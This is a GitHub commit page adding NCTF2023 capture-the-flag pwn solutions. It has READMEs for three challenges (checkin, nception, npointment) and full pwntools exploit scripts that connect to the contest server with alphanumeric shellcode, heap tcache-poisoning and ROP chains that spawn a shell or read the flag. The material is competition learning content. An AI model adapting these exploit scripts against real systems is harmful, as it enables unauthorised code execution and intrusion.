Skip to content

Commit 54d6bd3

Browse files
committed
NCTF2023
1 parent 32bb473 commit 54d6bd3

19 files changed

+398
-6
lines changed

2023nctf/pwn/checkin/README.md

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
2+
## checkin
3+
4+
```
5+
Arch: amd64-64-little
6+
RELRO: Partial RELRO
7+
Stack: No canary found
8+
NX: NX enabled
9+
PIE: PIE enabled
10+
```
11+
12+
Basic amd64 alphanumeric shellcode challenge
13+
14+
```c
15+
int __fastcall main()
16+
{
17+
__int64 v0; // rbx
18+
__int64 v1; // rbx
19+
__int64 v2; // rbx
20+
unsigned __int64 v4; // [rsp+8h] [rbp-28h]
21+
char *addr; // [rsp+10h] [rbp-20h]
22+
int i; // [rsp+1Ch] [rbp-14h]
23+
24+
addr = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
25+
if ( addr == (char *)-1LL )
26+
{
27+
perror("mmap");
28+
exit(EXIT_FAILURE);
29+
}
30+
write(STDOUT_FILENO, "Give me your shellcode: ", 24uLL);
31+
v4 = read(STDIN_FILENO, addr + 0x30, 0x100uLL);
32+
for ( i = 0; i < v4; ++i )
33+
{
34+
if ( (addr[i + 48] <= '`' || addr[i + 48] > 'z')
35+
&& (addr[i + 48] <= '@' || addr[i + 48] > 'Z')
36+
&& (addr[i + 48] <= '/' || addr[i + 48] > '9')
37+
&& addr[i + 48] != '/' )
38+
{
39+
printf("Invalid character: %c\n", (unsigned int)addr[i]);
40+
exit(1);
41+
}
42+
}
43+
v0 = qword_4088;
44+
*(_QWORD *)addr = payload;
45+
*((_QWORD *)addr + 1) = v0;
46+
v1 = qword_4098;
47+
*((_QWORD *)addr + 2) = qword_4090;
48+
*((_QWORD *)addr + 3) = v1;
49+
v2 = qword_40A8;
50+
*((_QWORD *)addr + 4) = qword_40A0;
51+
*((_QWORD *)addr + 5) = v2;
52+
sandbox();
53+
((void (*)(void))addr)();
54+
return 0;
55+
}
56+
```
57+
58+
Exploitation:
59+
60+
Utilize the offset of the entry address on the stack, and set RAX to the entry address. Subsequently, generate the shellcode directly using Alpha3.

2023nctf/pwn/checkin/checkin-release

16.3 KB
Binary file not shown.

2023nctf/pwn/checkin/exp.py

+95
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
#!/usr/bin/env python3
2+
# -*- coding:utf-8 -*-
3+
4+
from pwn import *
5+
context.clear(arch='amd64', os='linux', log_level='debug')
6+
7+
sh = remote('8.130.35.16', 58002)
8+
9+
sh.sendafter(b'shellcode: ', b'jBZPPPf1Tt0XXXXXXX' + b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G122o5L162v1n3Z4s3f173p4I3c1o3c353d1L062G4N06060q05184r4L000n020b0z5L3m2I004r113Y1N8N3R1O3r3Y3b17401N051M8N3n1M4M3k114u8O0E5o0q8M3F0b')
10+
sh.recvuntil(b'0')
11+
12+
shellcode = asm(
13+
'''
14+
jmp start
15+
16+
read:
17+
mov r15, rdx
18+
xor edx, edx
19+
inc edx
20+
read_again:
21+
xor eax, eax
22+
syscall
23+
inc rsi
24+
dec r15
25+
test r15, r15
26+
jnz read_again
27+
ret
28+
29+
write:
30+
mov r15, rdx
31+
xor edx, edx
32+
inc edx
33+
write_again:
34+
xor eax, eax
35+
inc eax
36+
syscall
37+
inc rsi
38+
dec r15
39+
test r15, r15
40+
jnz write_again
41+
ret
42+
43+
start:
44+
xor edi, edi
45+
mov eax, 3
46+
syscall
47+
48+
mov eax, 0x67616c66 ;// flag
49+
push rax
50+
51+
mov rdi, rsp
52+
xor eax, eax
53+
mov esi, eax
54+
mov al, 2
55+
syscall ;// open
56+
57+
push rax
58+
mov rsi, rsp
59+
xor eax, eax
60+
mov edx, eax
61+
inc eax
62+
mov edi, eax
63+
mov dl, 8
64+
call write
65+
66+
pop rax
67+
test rax, rax
68+
js over
69+
70+
mov edi, eax
71+
mov rsi, rsp
72+
mov edx, 0x01010201
73+
sub edx, 0x01010101
74+
xor eax, eax
75+
call read
76+
77+
mov edx, eax
78+
mov rsi, rsp
79+
xor eax, eax
80+
inc eax
81+
mov edi, eax
82+
call write
83+
84+
over:
85+
xor edi, edi
86+
mov eax, 0x010101e8
87+
sub eax, 0x01010101
88+
syscall ;// exit
89+
90+
''')
91+
92+
sh.send(shellcode.ljust(0x400, b'\xcc'))
93+
94+
sh.interactive()
95+
Binary file not shown.
2.02 MB
Binary file not shown.

2023nctf/pwn/nception/README.md

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
## nception
3+
4+
In the context of a stack overflow vulnerability in the "edit" function, allowing control over exception handling, it becomes possible to manipulate the value of RBP. Moreover, within the catch block, the address 0000000000402E2C performs a write operation on the memory pointed to by RBP. Hence, leveraging this characteristic, one can modify the lower bits of the "ptrs" pointer to position it under control. This manipulation facilitates arbitrary address read and write operations.
5+
6+
```
7+
.text:0000000000402E16 ; catch(std::exception) // owned by 402DC0
8+
.text:0000000000402E16 cmp rdx, 1
9+
.text:0000000000402E1A jz short loc_402E24
10+
.text:0000000000402E1C mov rdi, rax ; struct _Unwind_Exception *
11+
.text:0000000000402E1F call __Unwind_Resume
12+
.text:0000000000402E24 ; ---------------------------------------------------------------------------
13+
.text:0000000000402E24
14+
.text:0000000000402E24 loc_402E24: ; CODE XREF: main+11D↑j
15+
.text:0000000000402E24 mov rdi, rax ; void *
16+
.text:0000000000402E27 call ___cxa_begin_catch
17+
.text:0000000000402E2C mov [rbp+e], rax
18+
```

2023nctf/pwn/nception/exp.py

+101
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
#!/usr/bin/env python3
2+
# -*- coding:utf-8 -*-
3+
4+
from pwn import *
5+
context.clear(arch='amd64', os='linux', log_level='info')
6+
7+
def add():
8+
sh.sendlineafter(b'your choice: ', b'1')
9+
10+
def edit(index, offset, content):
11+
sh.sendlineafter(b'your choice: ', b'2')
12+
sh.sendlineafter(b'idx: ', str(index).encode())
13+
sh.sendlineafter(b'offset: ', str(offset).encode())
14+
sh.sendlineafter(b'data: ', content)
15+
16+
def show(index):
17+
sh.sendlineafter(b'your choice: ', b'3')
18+
sh.sendlineafter(b'read?\n', str(index).encode())
19+
20+
def delete(index):
21+
sh.sendlineafter(b'your choice: ', b'4')
22+
sh.sendlineafter(b'destroy?\n', str(index).encode())
23+
24+
sh = remote('8.130.35.16', 58000)
25+
26+
add()
27+
add()
28+
add()
29+
add()
30+
add()
31+
add()
32+
add()
33+
delete(1)
34+
delete(2)
35+
delete(3)
36+
delete(4)
37+
delete(5)
38+
delete(6)
39+
add()
40+
add()
41+
add()
42+
add()
43+
add()
44+
add()
45+
46+
edit(0, 0x130, p64(0x405FC8))
47+
edit(0, 0x130+8, p32(0x444))
48+
49+
edit(0, 0, cyclic(544) + p64(0x406429+0x18)[:6])
50+
show(6)
51+
sh.recvuntil(b'Data: ')
52+
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0xf87d0
53+
success('libc_addr: ' + hex(libc_addr))
54+
55+
edit(0, 0x130, p64(libc_addr + 0x1da321))
56+
edit(0, 0x130+8, p32(0x444))
57+
show(6)
58+
sh.recvuntil(b'Data: ')
59+
stack_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x100
60+
61+
find_stack = False
62+
for i in range(0x18):
63+
edit(0, 0x130, p64(stack_addr + 0x11 + i * 8))
64+
edit(0, 0x130+8, p32(0x444))
65+
show(6)
66+
sh.recvuntil(b'Data: ')
67+
result = u64(sh.recvn(5) + b'\0\0\0') * 0x100
68+
info('result: ' + hex(result))
69+
if(result == libc_addr + 0x27200):
70+
stack_addr += 0x10 + i * 8
71+
success('stack_addr: ' + hex(stack_addr))
72+
find_stack = True
73+
break
74+
if find_stack == False:
75+
raise EOFError("Invailed stack")
76+
77+
edit(0, 0x130, p64(stack_addr - 0x10 + 1))
78+
edit(0, 0x130+8, p32(0x444))
79+
show(6)
80+
sh.recvuntil(b'Data: ')
81+
canary = u64(b'\0' + sh.recvn(7))
82+
success('canary: ' + hex(canary))
83+
84+
edit(0, 0, b'\0' * 0x10 + cyclic(504) + p64(canary) + flat(
85+
[
86+
0,
87+
1,
88+
2,
89+
libc_addr + 0x0000000000027765,
90+
libc_addr + 0x196031,
91+
libc_addr + 0x0000000000028f19,
92+
0,
93+
libc_addr + 0x00000000000fdcfd,
94+
0,
95+
libc_addr + 0x000000000003f117,
96+
59,
97+
libc_addr + 0x0000000000086002,
98+
]
99+
))
100+
101+
sh.interactive()
Binary file not shown.
1.83 MB
Binary file not shown.
123 KB
Binary file not shown.
927 KB
Binary file not shown.
2.15 MB
Binary file not shown.

2023nctf/pwn/nception/nception

61.5 KB
Binary file not shown.

2023nctf/pwn/npointment/README.md

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
2+
## npointment
3+
4+
The vulnerability is located in function 14B3. Inputting "date=date=date" triggers a heap overflow, and subsequently, tcache-hijack is employed to achieve the exploitation objective.

2023nctf/pwn/npointment/exp.py

+115
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
#!/usr/bin/env python3
2+
# -*- coding:utf-8 -*-
3+
4+
from pwn import *
5+
context.clear(arch='amd64', os='linux', log_level='info')
6+
7+
sh = remote('8.130.35.16', 58001)
8+
9+
sh.sendlineafter(b'$ ', b'add content=a\0')
10+
sh.sendlineafter(b'$ ', b'add content=a\0')
11+
sh.sendlineafter(b'$ ', b'add content=a\0')
12+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x500 + b'\0')
13+
sh.sendlineafter(b'$ ', b'add content=a\0')
14+
15+
sh.sendlineafter(b'$ ', b'delete index=0\0')
16+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x531) + b'\0' * 0x800)
17+
sh.sendlineafter(b'$ ', b'delete index=2\0')
18+
sh.sendlineafter(b'$ ', b'add content=a\0')
19+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x600 + b'\0')
20+
21+
sh.sendlineafter(b'$ ', b'show index=3\0')
22+
sh.recvuntil(b'Appointment #3:')
23+
sh.recvuntil(b'Content: ')
24+
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ff130
25+
success('libc_addr: ' + hex(libc_addr))
26+
27+
sh.sendlineafter(b'$ ', b'add content=a\0')
28+
sh.sendlineafter(b'$ ', b'delete index=6\0')
29+
30+
sh.sendlineafter(b'$ ', b'show index=3\0')
31+
sh.recvuntil(b'Appointment #3:')
32+
sh.recvuntil(b'Content: ')
33+
heap_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x1000
34+
success('heap_addr: ' + hex(heap_addr))
35+
36+
sh.sendlineafter(b'$ ', b'add content=a\0')
37+
sh.sendlineafter(b'$ ', b'add content=a\0')
38+
39+
sh.sendlineafter(b'$ ', b'delete index=0\0')
40+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x31) + b'\0' * 0x800)
41+
sh.sendlineafter(b'$ ', b'delete index=2\0')
42+
43+
sh.sendlineafter(b'$ ', b'delete index=7\0')
44+
sh.sendlineafter(b'$ ', b'delete index=6\0')
45+
46+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x20 + p64((heap_addr >> 12) ^ (libc_addr + 0x247320))) # libc-2.38/ld-linux-x86-64.so.2
47+
48+
sh.sendlineafter(b'$ ', b'add content=a\0')
49+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaa\0' + b':' * 0x800)
50+
51+
sh.sendlineafter(b'$ ', b'show index=7\0')
52+
sh.recvuntil(b'Appointment #7:')
53+
sh.recvuntil(b':'*10)
54+
image_base = u64(sh.recvn(6) + b'\0\0') - 0x3e78
55+
success('image_base: ' + hex(image_base))
56+
57+
sh.sendlineafter(b'$ ', b'add content=a\0')
58+
sh.sendlineafter(b'$ ', b'add content=a\0')
59+
sh.sendlineafter(b'$ ', b'delete index=9\0')
60+
sh.sendlineafter(b'$ ', b'delete index=8\0')
61+
62+
sh.sendlineafter(b'$ ', b'delete index=0\0')
63+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x71) + b'\0' * 0x800)
64+
sh.sendlineafter(b'$ ', b'delete index=2\0')
65+
66+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x60 + p64((heap_addr >> 12) ^ (image_base + 0x50e0)))
67+
sh.sendlineafter(b'$ ', b'add content=a\0')
68+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 8 + p64(libc_addr + 0x206258))
69+
70+
sh.sendlineafter(b'$ ', b'show index=6\0')
71+
sh.recvuntil(b'Appointment #6:')
72+
sh.recvuntil(b'Content: ')
73+
stack_addr = u64(sh.recvn(6) + b'\0\0')
74+
success('stack_addr: ' + hex(stack_addr))
75+
76+
sh.sendlineafter(b'$ ', b'add content=a\0')
77+
sh.sendlineafter(b'$ ', b'add content=a\0')
78+
sh.sendlineafter(b'$ ', b'delete index=11\0')
79+
sh.sendlineafter(b'$ ', b'delete index=10\0')
80+
81+
sh.sendlineafter(b'$ ', b'delete index=0\0')
82+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xb1) + b'\0' * 0x800)
83+
sh.sendlineafter(b'$ ', b'delete index=2\0')
84+
85+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xa0 + p64((heap_addr >> 12) ^ (stack_addr - 0x138)))
86+
sh.sendlineafter(b'$ ', b'add content=a\0')
87+
sh.sendlineafter(b'$ ', b'add content=' + p64(image_base + 0x4180))
88+
89+
sh.sendlineafter(b'$ ', b'add content=a\0')
90+
sh.sendlineafter(b'$ ', b'add content=a\0')
91+
sh.sendlineafter(b'$ ', b'delete index=13\0')
92+
sh.sendlineafter(b'$ ', b'delete index=12\0')
93+
94+
sh.sendlineafter(b'$ ', b'delete index=0\0')
95+
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xf1) + b'\0' * 0x800)
96+
sh.sendlineafter(b'$ ', b'delete index=2\0')
97+
98+
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xe0 + p64((heap_addr >> 12) ^ (stack_addr - 0x148)))
99+
sh.sendlineafter(b'$ ', b'add content=a\0')
100+
101+
sh.sendlineafter(b'$ ', (b'add content=' + b'a' * 8 + p64(libc_addr + 0x0000000000026a3d)).ljust(0x100, b'\0') + flat(
102+
[
103+
libc_addr + 0x0000000000028715,
104+
libc_addr + 0x1c041b,
105+
libc_addr + 0x000000000002a671,
106+
0,
107+
libc_addr + 0x0000000000093359,
108+
0, 0,
109+
libc_addr + 0x0000000000046663,
110+
59,
111+
libc_addr + 0x00000000000942b6,
112+
]
113+
))
114+
115+
sh.interactive()
Binary file not shown.
2.01 MB
Binary file not shown.
14.1 KB
Binary file not shown.

0 commit comments

Comments
 (0)